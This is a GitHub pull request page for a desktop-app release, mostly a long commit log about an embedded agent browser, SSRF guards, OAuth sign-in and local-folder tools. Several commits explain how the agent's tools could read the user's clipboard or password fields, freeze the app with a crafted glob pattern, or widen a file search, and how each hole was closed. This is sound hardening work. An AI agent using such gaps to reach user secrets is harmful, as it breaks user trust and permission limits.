Skip to content

v0.7.49: outlook calendar, logfire tools, shared folders, desktop security hardening, pi improvements - #6068

Merged
waleedlatif1 merged 29 commits into
mainfrom
staging
Jul 30, 2026
Merged

v0.7.49: outlook calendar, logfire tools, shared folders, desktop security hardening, pi improvements#6068
waleedlatif1 merged 29 commits into
mainfrom
staging

Conversation

@waleedlatif1

@waleedlatif1 waleedlatif1 commented Jul 29, 2026

Copy link
Copy Markdown
Collaborator

icecrasher321 and others added 12 commits July 29, 2026 00:45
)

* top on a desk

* fix auth stuff

* intermediate state

* update

* local filesystem fixes

* Huge

* fix banner

* ci: disable desktop release + e2e in CI for now

The desktop-release reusable-workflow call requested contents: write,
which ci.yml's permission grant (contents: read) rejects — invalidating
the whole CI workflow. Desktop is tested locally for now; signed builds
remain available manually via desktop-release.yml workflow_dispatch, and
desktop e2e via its own workflow_dispatch.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* ci: exempt electron from the release-age gate (time-boxed)

electron@43.1.1 (published 2026-07-14) is exact-pinned for the desktop
shell and blocked by minimumReleaseAge until 2026-07-21. Excluded with a
drop-after date, following the vetted-typescript precedent. Verified the
rest of the desktop dependency set clears the 7-day gate.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* desktop: brand app icon (packaged + dev Dock)

- build/icon.icns regenerated from public/logo/primary/large.png on the
  Apple icon grid (824px body, r=185.4, centered on a transparent 1024
  canvas), compiled with iconutil
- dev runs set the same mark via app.dock.setIcon (static/dock-icon.png) —
  unpackaged Electron otherwise shows its default atom icon
- un-ignore apps/desktop/build: it holds electron-builder INPUTS (icon,
  entitlements), which the /apps/**/build output rule was swallowing —
  the icns and entitlements were never actually tracked
- revert resetAdHocDarwinSignature fuse: it corrupts the packaged binary
  signature (app killed at launch on arm64); the local ad-hoc deep-sign
  flow doesn't need it

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* desktop: switch app icon to the b&w brand mark

White rounded tile with the black sim wordmark (from
public/logo/b&w/large.png), replacing the purple variant. Same Apple
icon grid geometry (824px body, r=185.4, 1024 canvas).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix banner

* Fix

* clean up launcher

* fix oauth

* update desktop app

* Improve browser use and consolidate desktop app

* Desktop app ui cleanup

* Updates

* Updates

* remove dev tool option

* Browser updates

* Fix electron bug

* Browser shortcuts

* lifecycle

* feat(desktop): SSRF hardening + shared @sim/security/ssrf (re-home of #5763) (#5784)

* feat: re-home @sim/security/ssrf + sim SSRF dedup onto dev (clean core)

* feat(desktop): re-integrate SSRF guard + hardening onto rewritten dev

Re-applies the browser-agent SSRF guard and hardening onto dev's evolved
desktop files (dev rewrote session/driver/handoff/index and split out
errors.ts/keyboard.ts):

- session.ts: agent-partition onBeforeRequest is the SSRF choke point —
  DNS-resolving check (fail-closed) for document navigations, synchronous
  literal-IP backstop for subresources.
- driver.ts: browser_navigate/browser_open_tab validate via checkAgentUrl for a
  clean model error; also adopt shared sleep/getErrorMessage and drop the local
  reimplementations + banner separators.
- index.ts: local-only crashReporter (native minidumps, no upload) + CSP
  fallback wired into the app session.
- window.ts: record the crash-dump dir on renderer_gone.
- config.ts: drop the local LOCAL_HOSTNAMES set for the shared isLoopbackHostname
  (also removes the dead bare '::1').
- cdp.ts: per-WebContents callbacks so a background tab's events reach its own
  driver.
- updater.ts: the manual check now surfaces network/manifest failures instead of
  silently swallowing them.
- README: correct the App Sandbox / security-scoped-bookmark note.
- electron-mock: webRequest.onBeforeRequest + crashReporter stubs.
- api-validation: annotate dev's validated-envelope double-cast; bump the
  route-count baseline 964→965 for dev's already-merged route (ratchets stay
  tight; non-Zod and double-cast at baseline).

Skipped as moot (dev already did them independently): launcher isVisible removal,
decideStartRoute param drop, local-filesystem clear() removal.

* chore(desktop): biome format install-local.ts (pre-existing dev lint failure)

* refactor: apply audit cleanup (reuse + simplify)

- domain-check: drop the redundant isIpLiteral guard (isLoopbackIp already
  validates and returns false for non-literals).
- session.ts: use shared getErrorMessage instead of the local error ternary
  (the file already imports it).
- tray.ts: use shared sleep() instead of a hand-rolled setTimeout promise.
- updater.ts: distinguish the synchronous-throw log from the async-rejection
  log on the manual update check.

* refactor: /simplify pass + review fixes

- url-guard: bound the SSRF dns.lookup with a 5s deadline (fails closed on
  timeout) so a slow/hung resolver can't suspend the check and the
  onBeforeRequest callback indefinitely (Greptile P2); + test.
- Finish the reuse consolidation the earlier pass missed: session.ts second
  error ternary → getErrorMessage; the bracket-strip idiom → unwrapIpv6Brackets
  in input-validation.ts, input-validation.server.ts (×2), onepassword/utils.ts
  (fixes the check:utils banned-pattern CI failure).
- driver: document why the tool-level checkAgentUrl coexists with the
  onBeforeRequest enforcement seam (clean model error; loadURL rejection is
  swallowed).

* fix(desktop): swallow late DNS rejection after the SSRF lookup timeout (Cursor)

* refactor: split pure host helpers into @sim/security/hostnames (ipaddr-free) (#5787)

unwrapIpv6Brackets + isLoopbackHostname move to a new ipaddr-free sub-export so
client code can share them without pulling ipaddr.js into the browser bundle.
ssrf.ts re-exports both, so its server/desktop consumers are unchanged. This
eliminates the duplicate isLoopbackHostname in apps/sim/lib/core/utils/urls.ts:
urls.ts and its three client importers (mcp queries, oauth probe, oauth
url-validation) now use the single shared definition.

* Desktop app fullscreen mode

* fix(copilot): report closed browser session as a distinct terminal tool error

A dead agent browser session used to answer every browser tool with an
indistinguishable generic ~30s IPC timeout, which the model retried
indefinitely (one turn: 59 minutes of failing browser_snapshot calls).

- When the desktop app has reported the session closed, page-dependent
  browser tools fail immediately with an explicit session-closed message
  (and sessionClosed: true in the result data) instead of burning the full
  timeout per call. browser_navigate / browser_open_tab / browser_list_tabs
  still run, since they can start a new session.
- A failure whose session died mid-call (e.g. during a takeover) gets the
  same tag appended, so the model learns the terminal cause rather than
  seeing a plain timeout.

Companion to mothership's tool_failure_loop circuit breaker.

* fix(desktop): route Cmd+W to focused browser tabs

* fix(desktop): reserve macOS title bar safe area

* fix(desktop): limit title bar safe area to login

* fix install script

* feat(desktop): improve local folder settings

* feat(desktop): harden local capabilities and window chrome

* fix(invitations): live refetches

* fix(desktop): make manual update checks use updater state

* fix(desktop): review fixes — OAuth error handling, query freshness, invitations

Findings from an end-to-end review of the desktop work, fixed and verified.

OAuth connect/login handoff:
- Add a friendly /oauth-error landing page + onAPIError.errorURL so provider
  Cancel/Deny (which Better Auth redirects before the flow state is parsed)
  no longer dead-ends on a 404; re-initiating supersedes the idle loopback.
- Stop a post-consent failure from reporting success (drop the baked-in
  errorCallbackURL param that collided with Better Auth's appended code;
  coerce an array error defensively on the complete page).
- Guard the desktop connect listener with the same context-age check the web
  routers use, so an abandoned flow can't mislabel a later completion.
- Clear an orphaned pending handoff when a loopback re-bind fails.

Query freshness (desktop refetchOnWindowFocus):
- Pin refetchOnWindowFocus off on queries that seed editable forms
  (environment/secrets, credential detail, schedules) so a background focus
  refetch can't drop an unsaved draft, and on the useWorkflowStates fan-out so
  returning to a large table doesn't fire N heavy envelope fetches. All no-ops
  on web (default already false).

Invitations (in-app pending invitations):
- Map accept/decline failures to friendly copy instead of raw machine codes.
- Invalidate subscription + refresh session on accept (parity with the email
  path); reconcile the list on failure (onSettled) so dead rows drop.
- Gate the modal's query on open so it no longer fetches on every app load.

CI:
- Wrap the latest-mac.yml update-feed route in withRouteHandler and allowlist
  it as a non-boundary route (input-less, YAML) so the contract audit passes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* updates

* fix(desktop): use workflow colors for environment icons

* fix(desktop): use orange for dev icon border

* fix(login): change one time token generation to GET

* improvement(desktop): reveal local folders from settings

Local-folder rows rendered their glyph at 20px inside the bordered
credential tile — chrome meant for brand and logo icons — above a static
subtitle that repeated what the section already said. The row now shows a
plain 14px folder icon and the folder name alone.

Clicking a row reveals the folder in the OS file manager through a new
reveal_mount bridge op, which resolves the opaque localfs URI to a live
grant and requires an active user gesture, matching the other grant
mutations. The absolute host path still never crosses the bridge.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* improvement(desktop): row actions menu for folder grants, larger version text

Revoke moves from an always-visible chip into the canonical RowActionsMenu,
matching the MCP server rows. The version value moves off text-caption onto
text-sm — it was rendering at the subtitle size, which also shrank the
"x -> y on restart" line that matters most.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* feat(desktop): improve browser tab usability

* fix(desktop): thicken environment icon borders

* fix(desktop): strengthen environment icon borders

* feat(desktop): support multiple windows and harden the agent browser

Sim can now open many full windows in one process. The embedded browser is
still a single native surface, so exactly one window owns it at a time.
Ownership transfers only to the focused window: without that rule, two windows
both showing the browser reclaim it on every bounds heartbeat and re-parent the
native view back and forth roughly once a second while Sim sits in the
background, where no window is focused. A destroyed owner is now forgotten
rather than left rejecting updates from the window actually on screen, and a
closing window's release is honoured even though Electron destroys it before
emitting `closed` — previously that release was dropped and the next layout
could re-parent the browser onto a window that never asked for it.

The agent's password boundary is now enforced rather than assumed. It was
treated as settled but had four ways through: `browser_press_key` sent trusted
CDP keystrokes to whatever held focus, `clickElement` focused credential fields,
`readActiveElementState` returned a preview of any focused value, and snapshots
printed the contents of revealed password fields. Detection also used
`instanceof HTMLInputElement`, which is realm-bound and returned false for
inputs inside same-origin iframes — the nested login forms that need it most.
Detection now matches on tagName/type/autocomplete, the keystroke guard runs in
the driver where trusted CDP input is visible, and typing re-checks the real
target before inserting, since login forms advance focus between the username
and password steps.

Signing out clears the embedded browser's profile. Its cookies, cache, pinned
tabs, browsing trail, and reopen list all survived sign-out, so the next account
on the machine inherited the previous user's live sessions.

Partition hardening is keyed per session instead of a process-wide flag, which
would have left a second partition with no permission handlers, no SSRF
filtering, and no download blocking — silently, and still type-checking.

Adds the first tests for page-functions.ts, including a serialization contract
check: those functions ship to the page as String(fn), so a reference to module
scope passes every other test and fails only against a real page.

* fix(desktop): close clipboard, glob DoS, and authorization holes

Found by a full audit of the desktop app against origin/staging. Each of
these was measured or asserted rather than reasoned about.

The agent could read the user's system clipboard. `browser_press_key('Cmd+V')`
pasted it into a focused field and the next `browser_snapshot` returned it as
an ordinary `value` — snapshots redact password fields, not pasted content, and
clipboards routinely hold a password copied out of a manager. The credential
guard added earlier did not catch it: `insertedTextFor` returns undefined
whenever `meta` is set, so `Cmd+V` was classified as not text-inserting.
`Control+V` reached the same place because the macOS normalizer rewrites it.
Clipboard combos are now refused before dispatch rather than by withholding the
CDP `commands` array, since off macOS these are Blink-native and a key event
alone still performs them. Copy and cut go too — they clobber the user's
clipboard as a side effect.

A glob pattern could freeze the whole app. Micromatch compiles to a
backtracking regex whose cost is exponential in wildcard count: measured
against a single 46-character path with the options this code passes, ten
wildcards took 2.7s and twelve took 43s, once per scanned entry, in one
synchronous call that the surrounding abort checks never get to interrupt. That
is the main process, so every window, the menu bar and the tray freeze with
Force Quit as the only recourse, and the pattern is model-supplied. `safeRegex`
reports the generated source as safe, so it was no defense. Patterns are now
bounded at six wildcards, which keeps the worst case near 2ms while leaving
headroom over real patterns (which top out around four). A timing probe backs
it up, with a budget loose enough that JIT warmth and machine load cannot make
it fire on a legitimate pattern — a tight budget proved flaky in both
directions.

The grep authorization guard compared `request.pattern !== args.pattern`, so a
tool call carrying no pattern made that `undefined !== undefined` and the guard
passed — grep then fell back to searching the renderer's own `query` across the
whole grant. `include` and `query` were never bound at all, letting a renderer
widen a search or silently narrow results the agent believes are complete. The
sibling glob case already had the `typeof` check, which is what made the
asymmetry clearly unintentional.

The IPC sender gate used `startsWith`, the exact pattern `isAppOrigin` warns
against 200 lines away ("that prefix-matches lookalike hosts"). It was safe only
because of a trailing slash. It now uses that helper, which also fixes a false
negative on an explicitly stated default port.

* fix(desktop): stop double sign-out, stranded retries, and redundant writes

Three correctness bugs from the same audit.

Menu Sign Out tore down the session directly instead of going through the
lifecycle coordinator, so it skipped the in-progress guard — and its own cookie
removal then tripped the coordinator's cookie watcher into a second concurrent
teardown, duplicating the sign_out event, the storage clear, and the /login
load. Teardown also existed as two divergent copies. The coordinator now
exposes `signOut()` and owns the single path; the menu just calls it. That
`tearDownSession` is no longer imported in index.ts is the check that it landed.

Offline recovery could strand permanently. The auto-retry loop stops itself
before calling `retry()`, and `retry()` never re-armed the load watchdog, which
is started once per window. So if a retried load hung — precisely what the
watchdog is for — no load event fired and no timer remained anywhere; the user
sat on the offline page until the window was closed. `retry()` now re-arms
before loading.

Pinned tabs were persisted on `did-navigate` and `did-navigate-in-page` for
every tab, pinned or not, with no change check, and the settings store compares
with `===` so a freshly built array never matched. Any single-page app
therefore triggered a synchronous mkdir + write + rename of the whole settings
file on the main thread on every route change — writing `[]` over `[]` when
nothing was pinned. The list is now fingerprinted, seeded at restore from what
is already on disk so the first navigation after launch is not a write either.

* fix(desktop): leaked timers, silent grep failures, and crashed tabs

Second pass on the audit backlog, all verified against tests that fail without
the change.

Every browser tool call leaked a timer. The watchdog raced the tool against
`sleep()`, which cannot be cancelled, so when the tool won — the normal case —
the timer stayed pending for the full window, up to two minutes, dozens deep
during an agent run. Replaced with a cancellable timeout cleared in a
`finally`; a test asserts the fake-timer count is unchanged across a call.

An invalid grep regex reported "no matches". A SyntaxError from `new RegExp`
returned an empty result set, which tells the model the string appears nowhere
in the user's files — a factual claim it acts on, when the search never ran. It
now fails as INVALID_REQUEST. The `safeRegex` guard moved out of the try while
there, since it was only inside it to be re-thrown.

A crashed tab wedged the session. Tabs left `tabs` only via close, so a dead
renderer stayed forever: `activeTab()` filtered it out while `activeTabId` still
named it, making `requireTab()` report "no page is open" with other tabs open,
and the panel went blank with no recovery. `render-process-gone` now drops the
tab, advances the active id, and reports session closure when it was the last.

`probeSession` cleared its abort timer inline after the await, so a thrown
fetch — the case the function exists for — skipped it. Moved to `finally`,
which also brings the body read inside the deadline.

One vanished file failed a whole directory listing: `Promise.all` over
per-entry `lstat` turned a single ENOENT into NOT_FOUND for the directory.
Churning directories like build output would intermittently fail to list.

Removed the `session-lifecycle -> browser-agent/driver` import edge, which
dragged the entire browser subsystem and its module-load `nativeTheme` listener
into the auth path to reach one four-line function. `clearBrowserProfile` is now
a required dependency wired from index.ts, which already owns both sides. Also
deleted `attachSessionLifecycle`, a compatibility wrapper with zero callers.

Added a channel-parity test between the preload bridge and the IPC table. They
share ~20 channel names as bare string literals with nothing tying them
together, so a typo on either side is a silently dead feature that type-checks
and ships. Verified it fails on a one-character change.

* fix(desktop): reach framed elements and harden the loopback sign-in

Two behaviour fixes from the audit backlog.

Interaction with same-origin iframes was broken. The snapshot deliberately
walks into those frames and hands the model ids for what it finds, but every
interaction then tested `instanceof HTMLInputElement` against the top frame's
constructors — false for nodes owned by a frame, because element wrappers are
realm-bound. So the driver reported a real `<input>` as "not a text input",
which took out framed login forms and editors that put a contenteditable body
in an iframe, such as TinyMCE. Framed selects reported "not a select" and
framed clicks skipped focus entirely. Checks now compare `tagName` or duck-type
the method being called, matching the realm-safe approach the credential guard
already used. The native value setter is taken from the element's own realm:
calling the top frame's setter on a frame's node throws "Illegal invocation".
Snapshot value reporting follows the same rule, which is safe because the
credential redaction above it is realm-safe and runs first.

The loopback sign-in server could be cancelled by anything on the machine. It
validated only the shape of the returned state, then tore the one-shot server
down and dispatched, leaving the real constant-time comparison to the callback.
So a request carrying any well-formed state killed an in-flight sign-in — and
the port is reachable by any local process and by any page the user has open
via a no-CORS GET, which cannot read the response but does not need to, since
the side effect is the kill. The state is now checked before anything is torn
down, and a Host that does not name the loopback is refused, which closes the
DNS-rebinding shape.

* refactor(desktop): drop duplicated helpers and stop logging query strings

Net -3 lines, and one of them was a real leak.

`navigation.ts` and `windows.ts` truncated URLs for their log lines with a bare
`.slice(0, 200)`, which keeps the query string — the five other log sites in the
app go through `scrubUrl` for exactly that reason. Tokens and signed parameters
live in query strings, so a blocked-URL warning could write one to disk. Both
now scrub.

`local-filesystem.ts` carried a private `isRecord` byte-identical to
`isRecordLike` in `@sim/utils/object`, and four more sites inlined the same
check. All now use the shared helper, which also tightens three of them: the
inline versions omitted the array exclusion, so an array satisfied a check that
then cast it to a record.

`tray.ts` hand-rolled slice-plus-ellipsis, the case `@sim/utils/string`'s
`truncate` exists for. Titles between 58 and 60 characters now get an ellipsis
where they previously did not — cosmetic, in a tray menu label.

Removed the `getTabsState` passthrough in the driver, a one-line re-export of
the session's own function, and renamed the session-level clear to
`clearProfileStorage`. `clearBrowserProfile` existed twice under one name, the
driver's being the composite that also clears the browsing-trail registry;
index.ts was already aliasing at the import to tell them apart.

Two things deliberately not done. The hand-rolled semver in updater.ts stays:
replacing it needs `semver` plus `@types/semver` as new declared dependencies
in the Electron main process, and the 90 lines it would delete are already
covered by eight assertions that I verified match the library's behaviour case
for case. Note the same prerelease comparison is duplicated in
apps/sim/lib/desktop/min-version.ts, so a future consolidation should do both.
No barrel for browser-agent either: routing `security-guards.ts` through one to
reach a single leaf function would pull the whole browser subsystem into its
module graph, which is the edge just removed from session-lifecycle.

* refactor(desktop): move browser compositing out of the session module

session.ts held five responsibilities in one flat namespace: 1,061 lines, 29
exports, 26 mutable module-level bindings. For contrast local-filesystem.ts is
a comparable 1,125 lines with two exports and no ambient state — size was never
the problem, the shared mutable namespace was.

Compositing is the part worth isolating. Where the native view sits, when it is
visible, which window owns it, the renderer bounds lease, and the occlusion
snapshot are the most intricate logic in the browser and are almost entirely
separable from tab bookkeeping. They now live in panel.ts (342 lines) and
session.ts is 792, with 15 bindings instead of 26.

The two modules were mutually dependent, which is what makes this kind of split
go wrong. Rather than events or a shared store, panel.ts takes the four things
it needs from the session through one PanelHost passed to initPanel — the same
shape as the existing initSession — so the import graph is one-way and there is
no new indirection to trace. Tab changes reach the panel by the session calling
layout(), exactly as before.

Two behaviours became explicit rather than implicit in the move:
detachIfAttached replaces callers reading `attachedView` to decide whether a
closing tab owns the surface, and isPanelVisible replaces `panelBounds !== null`.

Nothing about the split is verified by the split itself, so the bounds lease got
characterization tests first. It had none — there was not a single fake timer in
the suite — despite being the mechanism that hides the view when the renderer
crashes or wedges. Both tests were confirmed to fail against a broken lease
before the refactor began. The other 47 tests were not rewritten: only the
module their calls address changed, which is the useful signal that behaviour
was preserved.

Deliberately not split further. Focus tracking stays with tabs because it keys
off tab ids, and profile teardown stays put; separating either would be
taxonomy rather than decoupling.

* refactor: drop the legacy local_* filesystem tool shim

Granted folders are addressed through the ordinary VFS: the model calls
read/grep/glob against paths under user-local/, exactly as it does for
workspace files. A parallel local_read / local_grep / local_glob / local_list /
local_stat / local_mount_directory / local_list_mounts / local_forget_mount /
local_stage_file toolset existed alongside it, recognized but never advertised,
so an in-flight checkpoint written by an older desktop build could still finish.

There are no older desktop builds. apps/desktop is at version 0.0.0, the only
artifacts are a local 0.0.0 build, MIN_DESKTOP_VERSION is '0.0.0' meaning no
floor, and the app does not exist on staging at all — the v0.7.x tags are the
web app's. Nothing can have persisted a checkpoint naming these tools, and
nothing advertises them: they are absent from the generated tool catalog and
from mothership's catalog. The shim was defending against a past that never
happened.

Removes the name table, the legacy request builder, the server-side
LEGACY_READ_ONLY_TOOLS allowlist, the five local_* branches in the desktop
authorization switch, and nine display labels. isDesktopFilesystemToolCall
collapsed into isUserLocalVfsToolCall, which it had become a synonym for.

Two tests went with it. One asserted that local_list_mounts routes to the
desktop; the test immediately after it already covers the real path, an
ordinary read against a user-local path. The other asserted that legacy names
cannot open a folder picker, revoke a grant, or upload bytes — that property
now holds because no such tool name exists, which is a stronger guarantee than
refusing one.

* refactor(copilot): remove the plan/changelog VFS artifacts and workflow aliases

These beta surfaces are not a direction we are taking, so they come out rather
than staying behind a flag. Gone: the workflow alias modules (path resolution,
DB-backed resolver, .plans/.changelogs backing provisioning), the alias
materialization in the copilot VFS, the alias write paths in resource-writer
and workspace_file, the sandbox alias mounts in function_execute, the reserved
backing-path guards across mkdir/mv/create, and the alias resolution in the
chat home file picker.

xlsx survives but changes owner. It was gated twice across the repo boundary:
mothership's xlsx-writing flag gates the skill and prompt, while Sim gated the
compile path on mothership-beta. Those live in separate AppConfig applications,
so an operator had to flip two flags in two consoles, and off-hosted Sim fell
back to the MOTHERSHIP_BETA_FEATURES secret while the mothership half stayed in
Sim Cloud's AppConfig — split-brain across an ownership boundary. Mothership
controls whether the model ever learns xlsx exists, so if it is never offered
it is never requested and the second chokepoint only created a way for the two
halves to disagree. Sim's gate is removed; xlsx-writing is now the single owner.

With its last consumer gone, the mothership-beta flag and the
MOTHERSHIP_BETA_FEATURES secret are deleted. The two entries in the infra repo
are harmless until removed separately: they only inject an env var nothing
reads, and createEnv runs with skipValidation.

The reserved-system-file/folder concept goes with the aliases, since it existed
only to hide the backing rows. includeReservedSystemFiles and
includeReservedSystemFolders are removed rather than left as options every
caller passes true to. backingVfsPath is removed for the same reason — nothing
sets it once aliases are gone, so it was an always-undefined field on tool
results.

Test coverage is preserved rather than deleted with the feature.
resource-writer.test.ts looked alias-only but three of its eleven cases cover
the generic create path that survives; those are kept and the file retitled.
Two open_resource tests and one output-path test used alias-shaped strings
while asserting generic behavior; retargeted or dropped where a sibling already
covers it.

* refactor(copilot): remove the dead planArtifact column plumbing

copilot_chats.plan_artifact has no writer and no reader that does anything with
it. No client sends it, nothing renders it, and its whole history is fork-chat
and duplicate-chat plumbing faithfully copying a column that is always null —
the one change that might have populated it (mothership v0.8) was reverted.

Removed from the schema, the copilot API contract, the chat lifecycle column
sets, the fork route, superuser import, the data drain, the update-messages
write path, and the legacy chat detail response.

No migration here on purpose. The column stays in the database, orphaned and
null; dropping it is a separate deliberate step rather than something that
rides along with a code cleanup. Note that the next drizzle-kit generate will
now want to emit the DROP COLUMN, and check-migrations-safety will ask for it
to be annotated — that is the right moment to decide, not now.

Mothership never saw this field; it is Sim-side only.

* chore(copilot): sync the tool catalog for load_skill

Picks up the new load_skill tool plus the grep description that dropped its
stale reference to VFS "plans" entries. Generated from
copilot/contracts/tool-catalog-v1.json.

* refactor(copilot): follow the load_custom_tool rename to load_mcp_tool

Mothership renamed the loader once it was clear MCP was the only catalog kind
it could match, and dropped the single-valued `type` parameter. The two prompt
strings that teach the model the call shape are updated to
load_mcp_tool({ name }).

load_custom_tool stays in the UI hide-list next to load_agent_skill so tool
rows in historical transcripts keep rendering; nothing emits it any more.

* chore(copilot): sync the tool catalog and hide load_skill in the UI

load_integration_tool and list_integration_tools now publish route go/sync
instead of sim/async. Nothing changes in Sim's behavior — they always ran in
Go; the contract had been wrong.

load_skill joins the hidden tools. It is the same shape as the other loaders
already there: the agent pulling in a reference guide before doing the work is
a step toward the action, not the action. Sim's display-coverage test caught
that a newly added visible tool had no title or completed verb, which is the
guard working.

* fix(auth): handle session expiry in the app, not the desktop shell

The workspace auth gate is a Server Component, so it only re-evaluates on a
server render. A session that expired or was revoked mid-visit left the SPA
mounted and silently 401ing every request, with nothing to redirect it.

The desktop shell had grown its own detector for this: a 401 listener over
/api/*, a session probe, and a native "your session has expired" prompt. It
could only infer session state from cookie events and HTTP statuses, and it
inferred wrong — it fired on ordinary sign-outs (in-flight requests 401 during
teardown) and on launching already signed out (the window still shows the
restored route while the web app redirects). Those were nearly all of its
firings, since a 30-day sliding window means real expiry is rare.

Generalizes the impersonation-expired screen instead, which already had the
right shape: it keys off the session query settling to null after a session
that was live. A signed-out visitor never arms it, and `error` is excluded so
an offline blip cannot read as an expiry. The session query now refetches on
focus for every session, not just impersonation ones, so returning to a window
that slept through its session re-checks it.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* fix(copilot): port the scheduled-task and VFS fixes onto staging-v4

Replays the sim-side prompt-audit work on top of staging-v4.

complete_scheduled_task was filtered out of the execute route's response
payload, so an until_complete job could report completion and still be
rescheduled; the post-run bookkeeping now also refuses to revive a job that
already completed. Also clamps browser_wait_for's timeout the way the desktop
agent does, and replaces the oversized-read error's offset/limit advice, which
sent the model into a guaranteed retry loop.

* feat(desktop): let the model actually see browser screenshots

browser_screenshot captured an image and then threw it away. The renderer
stripped the data URL and substituted a note, and the tool's own description
told the model not to bother: "Dead end for perception." So the agent was
blind to anything not expressible as DOM text — canvas, charts, maps, images,
rendering and layout bugs.

The copilot has carried the machinery for this all along. A tool result shaped
as { content, attachment: { type: "image", source: { type: "base64", ... } } }
is serialized into a real image content block, with the media type sniffed from
the bytes rather than trusted from the declaration, and degraded to a text stub
when the routed model has no vision so the provider never 400s. The screenshot
result is now reshaped into that contract instead of discarded. A malformed
data URL still falls back to a note rather than shipping an attachment the
provider would reject.

Captures are bounded to a 1024px longest edge at quality 70. CDP clip.scale is
relative to CSS pixels, so this also sidesteps the device pixel ratio — an
unclipped capture on a retina display returns a 2x image, which was several
hundred kilobytes for no legibility the model could use.

The description is rewritten to bias toward visual questions only: appearance,
layout, rendering, charts, canvas. Reading content or finding something to
click stays with browser_snapshot, which is cheaper and returns the element ids
a screenshot cannot. That distinction is structural, not just advisory — having
seen the page does not let the agent act on it.

Companion change in mothership generalizes the tool-result inline-budget
exemption from "the read tool" to "any result carrying a model attachment".
Keyed on the tool name, an oversized screenshot fell through to the artifact
branch: the image was replaced by a reference the model cannot open, and the
result still reported success. Silent, and it would have hit almost every call.

* fix(desktop): polish browser panel and environment tray icon

* fix(desktop): enlarge environment tray markers

* fix(desktop): smooth environment tray markers

* refactor(copilot): consolidate resource mutation tools

* chore(copilot): clean up VFS follow-ups

* fix(desktop): round the dev tray marker

* feat(desktop): add integrated terminal resources

* Fix electron app resize causing glitchy browser frames

* feat(copilot): add persistent tool permissions

* fix(copilot): retire stale tool permission prompts

* fix(desktop): keep terminal rendering responsive

* fix(desktop): preserve resource rendering continuity

* feat(desktop): add browser tab duplication actions

* feat(desktop): add terminal tab context actions

* fix(desktop): allow browser agent localhost navigation

* feat(desktop): add tmux-backed terminal sessions

* fix(desktop): restore terminal scrollback per view

* chore(copilot): sync updated wait tool contract

* poll terminal session state for non regular shells

* add terminal right click menu

* feat(desktop): add terminal handoff and key batching

* fix(desktop): reserve the traffic-light lane from the platform

macOS draws the window controls itself, at a fixed physical size, above all web
content. The page renders full-bleed beneath them, so it has to reserve that
lane — and it did so with five hardcoded CSS pixel values. CSS pixels scale with
page zoom and the OS-drawn lights do not, so zooming out shrank the reservation
until the lights were drawn over the sidebar toggle, and the header row below
sat inside their band.

Electron's `titleBarOverlay` publishes the controls' real geometry to the page as
the `titlebar-area-*` env vars, which Chromium rescales per zoom so a reservation
derived from them holds its physical size. Measured across zoom 0.58-1.2, the
reserved area stays within ~0.6 DIP, the residual coming from env values being
quantized to whole CSS pixels.

Every lane length now derives from those vars, so the login route and the
mothership content offset were fixed without being touched — they already read
`--desktop-title-bar-height`. Two of the replaced constants were also simply
wrong: the platform reports the lane at 38px and the safe area at 81px, against
the hand-measured 36 and 83.

The toggle keeps a constant physical size beside the lights, expressed as a
proportion of the lane rather than in pixels: a px literal would scale with zoom,
and calc cannot divide a length by a length to recover a scale factor.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01C54QHj4WPV777Fq2yRwkcb

* fix(desktop): avoid transient terminal tab labels

* feat(copilot): attach browser and terminal tab context

* feat(desktop): close tmux panes from terminal tools

* fix(desktop): keep terminal tab icons stable

* add right click to browser and cleanup terminal right click options

* fix(desktop): reduce hidden panel background work

* perf(desktop): shrink browser panel snapshots

* perf(desktop): reduce terminal main process overhead

* perf(terminal): pause work for hidden sessions

* fix session arch for desktop

* fix(desktop): replace exited terminal sessions

* feat(copilot): persist desktop resources across chats

* fix(emcn): keep resource tab widths consistent

* fix(copilot): restore active client panels

* feat(desktop): import Chrome browser data

* fix(copilot): close resources before chat creation

* feat(desktop): suggest imported browser sites

* fix(desktop): autofill identifier-first sign-ins

* fix resizing issues + cookies source

* fix visits marking

* chore(db): drop branch migrations ahead of staging merge

0264/0265 on this branch collide with staging's 0264-0270 on both the
journal idx slots and the meta snapshot filenames. Reverting the migration
artifacts to the merge-base lets staging's chain merge cleanly; schema.ts
keeps the copilot changes and drizzle-kit regenerates a single migration on
top of 0270 after the merge.

Co-Authored-By: Claude <noreply@anthropic.com>

* feat(db): regenerate copilot tool-permission migration on top of staging

Replaces the branch's old 0264/0265 (dropped pre-merge so staging's
0264-0270 chain could apply cleanly) with a single 0271 generated against
staging's schema: the permission-decision enum, the two
copilot_async_tool_calls decision columns, and copilot_chats.auto_allowed_tools.

Deliberately does NOT drop copilot_chats.plan_artifact. The branch removed
every reader, but the currently-deployed code still SELECTs that column, so
dropping it in the same deploy breaks the old app version during blue/green
overlap — `check:migrations` flags it for exactly this reason, and the honest
fix is to defer rather than annotate around it. The column is retained in
schema.ts marked @deprecated; drop it in a follow-up once this has rolled out.

Also in this commit, all fallout from the merge itself:
- pinned-fetch/revoke tests: their private-IP stub moved to @sim/security/ssrf
  alongside the source change. Worth noting the stub exists because the suite's
  203.0.113.10 is TEST-NET-3, which the real classifier correctly calls
  reserved — the old stub had been quietly disagreeing with production.
- materialize-file test: dropped the reserved-system-folder case, which covered
  the workflow-alias backing folders this branch deleted.
- api-validation route ratchet 977 -> 983 (this branch's new routes).

Co-Authored-By: Claude <noreply@anthropic.com>

* add cmd f

* review pass

* chore(db): drop branch migration ahead of staging merge

Both sides independently claimed idx 0271, so the snapshot and journal would
conflict add/add. Ours is plain additive DDL that drizzle regenerates from
schema.ts; staging's is a hand-written CONCURRENTLY index build that cannot be
regenerated. Dropping ours and re-generating on top of staging's is the only
order that preserves both.

schema.ts is deliberately untouched — it is the source of the regeneration.

